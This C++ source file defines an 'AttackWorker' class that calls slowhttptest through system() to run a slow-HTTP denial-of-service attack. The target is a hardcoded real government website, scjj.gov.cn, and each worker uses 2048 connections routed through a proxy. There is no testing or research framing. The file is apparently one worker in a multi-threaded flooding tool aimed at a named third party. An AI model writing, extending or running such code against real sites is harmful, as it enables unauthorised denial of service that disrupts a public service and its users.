#include "attackworker.hxx"
#include <myfilelog.hxx>
#include <loghelper.hxx>

#include <utility.hxx>
#include <macro.hxx>
#include <cstdlib> // system()
#include <sstream>
#include <iostream>

using namespace std;

const string AttackWorker::Host = "http://www.scjj.gov.cn";

    AttackWorker::AttackWorker(int port, const string& proxy, FileLog* filelog)
: _port(port),
    _proxy(proxy),
    _isattacking(false),
    _is_shutdown_requested(false),
    _filelog(filelog)
{
}

void AttackWorker::Shutdown(void)
{
    _is_shutdown_requested = true;
}
void AttackWorker::Attack(void)
{
    if (!_isattacking)
    {
        _isattacking = true;

        APPENDMSGEX("Attacker #"<<Id()<<" attacking started.", 0);
    }
}

void AttackWorker::StopAttack(void)
{
    if (_isattacking)
    {
        _isattacking = false;

        APPENDMSGEX("Attacker #"<<Id()<<" attacking stopped.", 0);
    }
}

void AttackWorker::Execute(Thread::Arg)
{
    stringstream sstr;
    sstr<<"slowhttptest"
        <<" -u "<<Host<<":"<<_port
        <<" -B "
        <<" -d "<<_proxy
        <<" -c 2048"
        <<" -r 100"
        <<" -p 20"
        <<" -l 100";

    {
        APPENDMSGEX("AttackWorker #"<<Id()<<" attacking: "<<sstr.str()<<"...", 0);

        system(sstr.str().c_str());

        APPENDMSGEX("AttackWorker #"<<Id()<<" attacking ended.", 0);
    }
}
